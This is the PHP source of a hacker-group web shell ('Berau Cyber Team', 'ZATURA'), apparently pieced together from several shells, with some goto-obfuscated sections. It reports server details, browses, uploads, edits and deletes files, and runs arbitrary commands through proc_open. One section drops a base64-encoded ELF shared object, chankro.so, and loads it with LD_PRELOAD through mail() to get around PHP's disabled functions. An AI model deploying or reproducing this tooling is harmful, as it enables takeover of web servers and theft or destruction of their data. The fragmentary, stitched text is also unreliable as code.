BERAU CYBER TEAM

we are party at your security!

AnonSec - 2021
"; } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writeable"; } else { return "Not Writeable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writeable"; } else { return "Not Writeable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function dunlut($file) { if (!is_readable($file)) { echo "
Cannot Download File / Unreadable File!
"; die(); } header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); flush(); readfile($file); die(); } function owner($file) { if (function_exists("posix_getpwuid")) { $tod = @posix_getpwuid(fileowner($file)); return $tod['name']; } else { return fileowner($file); } } function cekwrite($lokasi) { $izin = substr(sprintf('%o', fileperms($lokasi)), -4); return $izin; } function ekse($komend, $lokasi) { if (!function_exists("proc_open")) { die("proc_open function disabled!"); } $tod = @proc_open($komend." 2>&1", array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi); $output = stream_get_contents($pipes[1]); echo "
".htmlspecialchars($output)."
"; } function ipserv() { if (empty($_SERVER['SERVER_ADDR'])) { $ip = gethostbyname($_SERVER['SERVER_NAME']); if (empty($ip)) { return $_SERVER['SERVER_NAME']; } return $ip; } else { return $_SERVER['SERVER_ADDR']; } } function filedate($file) { return date("F d Y H:i:s", filemtime($file)); } function unzip($file, $lokasi) { if (!is_readable($file)) { echo "
Cannot Unzip File / Unreadable File!
"; return; } $zip = new ZipArchive; $res = $zip->open($file); if ($res === TRUE) { $zip->extractTo($lokasi); $zip->close(); echo "
Success Unzip File!
"; } else { echo "
Failed to Unzip File!
"; } } function statusnya($file){ $izin = substr(sprintf('%o', fileperms($file)), -4); return $izin; } // Process POST data foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } // Set current location if(isset($_GET['path'])){ $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); echo '
'; echo "Server IP : ".ipserv()."  /  Your IP : ".$_SERVER['REMOTE_ADDR']."
"; echo "Web Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "MySQL : "; if (function_exists("mysql_connect")) { echo "ON"; } else { echo "OFF"; } echo "  |  cURL : "; if (function_exists("curl_init")) { echo "ON"; } else { echo "OFF"; } echo "  |  WGET : "; if (file_exists("/usr/bin/wget")) { echo "ON"; } else { echo "OFF"; } echo "  |  Perl : "; if (file_exists("/usr/bin/perl")) { echo "ON"; } else { echo "OFF"; } echo "  |  Python : "; if (file_exists("/usr/bin/python2")) { echo "ON"; } else { echo "OFF"; } echo '
'; // Breadcrumb echo ''; // Handle file upload if (isset($_POST['upwkwk'])) { if ($_POST['dirnya'] == "2") { $lokasi = $_SERVER['DOCUMENT_ROOT']; } if (isset($_POST['berkasnya'])) { $data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name'])); if (file_exists($lokasi."/".$_FILES['berkas']['name'])) { echo '
File Uploaded! '.$lokasi."/".$_FILES['berkas']['name'].'
'; } else { echo '
Failed to Upload!
'; } } } // Handle mass upload if (isset($_POST['mass_upload'])) { $targetDir = $_POST['mass_dir'] ?? $lokasi; massUpload($targetDir, $_FILES['mass_files']); } // Navigation $currentPage = 'home'; if (isset($_GET['komend'])) { $currentPage = 'command'; } elseif (isset($_GET['upload'])) { $currentPage = 'upload'; } elseif (isset($_GET['mass_upload'])) { $currentPage = 'mass_upload'; } echo ''; // Content Area if (isset($_GET['fileloc'])) { echo '
'; echo '

File Content: '.$_GET['fileloc'].'

'; echo '
  • Dir : $Oe) { if (!($j3 == 0 && $Oe == "")) { goto xi; } echo "~/"; goto CS; xi: if (!($Oe == "")) { goto sq; } goto CS; sq: echo "{$Oe}/"; CS: } Go: ?>
  • Nama Folder Baru :
    Nama File Baru :
    Rename File :
    " style="text-align: center;">
    Edit Nama File:
    Ubah Izin :
    View File Name :
    "; Qj: } ad: foreach ($G3 as $F1) { if ($c8[7]("{$Jd}/{$F1}")) { goto wA; } goto X1; wA: $kL = $c8[10]("{$Jd}/{$F1}") / 1024; $kL = round($kL, 3); $kL = $kL > 1024 ? round($kL / 1024, 2) . " MB" : $kL . " KB"; echo " "; X1: } a2: ?>
    Name Size Permission Action
    {$yf} " . RN("{$Jd}/{$yf}") . " Rename Delete
    {$F1} {$kL} " . rN("{$Jd}/{$F1}") . " Edit Raename Delete
    ZATURA
    [ Command Bypas XPLOITID ZATURA
    "; if (function_exists('mail')) { echo "[ Function mail() ] : [ ON ]
    "; } else { echo "[ Function mail() ] : [ OFF ]
    "; } if (function_exists('putenv')) { echo "[ Function putenv() ] : [ ON ]
    "; } else { echo "[ Function putenv() ] : [ OFF ]
    "; } foreach ($_GET as $c => $d) $_GET[$c] = y($d); $currentDirectory = $ril(isset($_GET['d']) ? $_GET['d'] : $rootDirectory); $chd($currentDirectory); $viewCommandResult = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileToUpload'])) { $target_file = $currentDirectory . '/' . $bs($_FILES["fileToUpload"]["name"]); if ($mup($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "
    File " . $htm($bs($_FILES["fileToUpload"]["name"])) . " Upload success
    "; } else { echo "
    Sorry, there was an error uploading your file.
    "; } } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) { $ff = $_POST['folder_name']; $newFolder = $currentDirectory . '/' . $ff; if (!file_exists($newfolder)) { if ($mek($newFolder) !== false) { echo '
    Folder created successfully!'; }else{ echo '
    Error: Failed to create folder!'; } } } elseif (isset($_POST['file_name'])) { $fileName = $_POST['file_name']; $newFile = $currentDirectory . '/' . $fileName; if (!file_exists($newFile)) { if ($fpc($newFile, '') !== false) { echo '
    File created successfully!' . $fileName .' '; $fileToView = $newFile; if (file_exists($fileToView)) { $fileContent = $fgc($fileToView); $viewCommandResult = '

    Result: ' . $fileName . '

    '; } else { $viewCommandResult = '

    Error: File not found!

    '; } } else { echo '
    Error: Failed to create file!'; } }else{ echo '
    Error: File Already Exists!'; } } elseif (isset($_POST['cmd_input'])){ $p = "p"."u"."t"."e"."n"."v"; $a = "fi"."le_p"."ut_c"."ont"."e"."nt"."s"; $m = "m"."a"."i"."l"; $base = "ba"."se"."64"."_"."de"."co"."de"; $en = "ba"."se"."64"."_"."en"."co"."de"; $drnm= "d"."i"."r"."n"."a"."m"."e"; $currentFilePath = $_SERVER['PHP_SELF']; $doc = $_SERVER['DOCUMENT_ROOT']; $directoryPath = $drnm($currentFilePath); $full = $doc . $directoryPath; $hook = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAAR0NDOiAoRGViaWFuIDYuMy4wLTE4K2RlYjl1MSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAA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'; $cmdd = $_POST['cmd_input']; $meterpreter = $en($cmdd." > test.txt"); $viewCommandResult = '

    Result: base64 : ' . $meterpreter .'
    Please Refresh and Check File test.txt, this output command
    test.txt created = VULN
    test.txt not created = NOT VULN
    example access: domain.com/yourpath/path/test.txt
    ZATURA


    '; $a($full . '/chankro.so', $base($hook)); $a($full . '/acpid.socket', $base($meterpreter)); $p('CHANKRO=' . $full . '/acpid.socket'); $p('LD_PRELOAD=' . $full . '/chankro.so'); $m('a','a','a','a'); }elseif (isset($_POST['delete_file'])) { $fileToDelete = $currentDirectory . '/' . $_POST['delete_file']; if (file_exists($fileToDelete)) { if (is_dir($fileToDelete)) { if (deleteDirectory($fileToDelete)) { echo '


    Folder deleted successfully!'; } else { echo '
    Error: Failed to delete folder!'; } } else { if ($unl($fileToDelete)) { echo '
    File deleted successfully!'; } else { echo '
    Error: Failed to delete file!'; } } } else { echo '
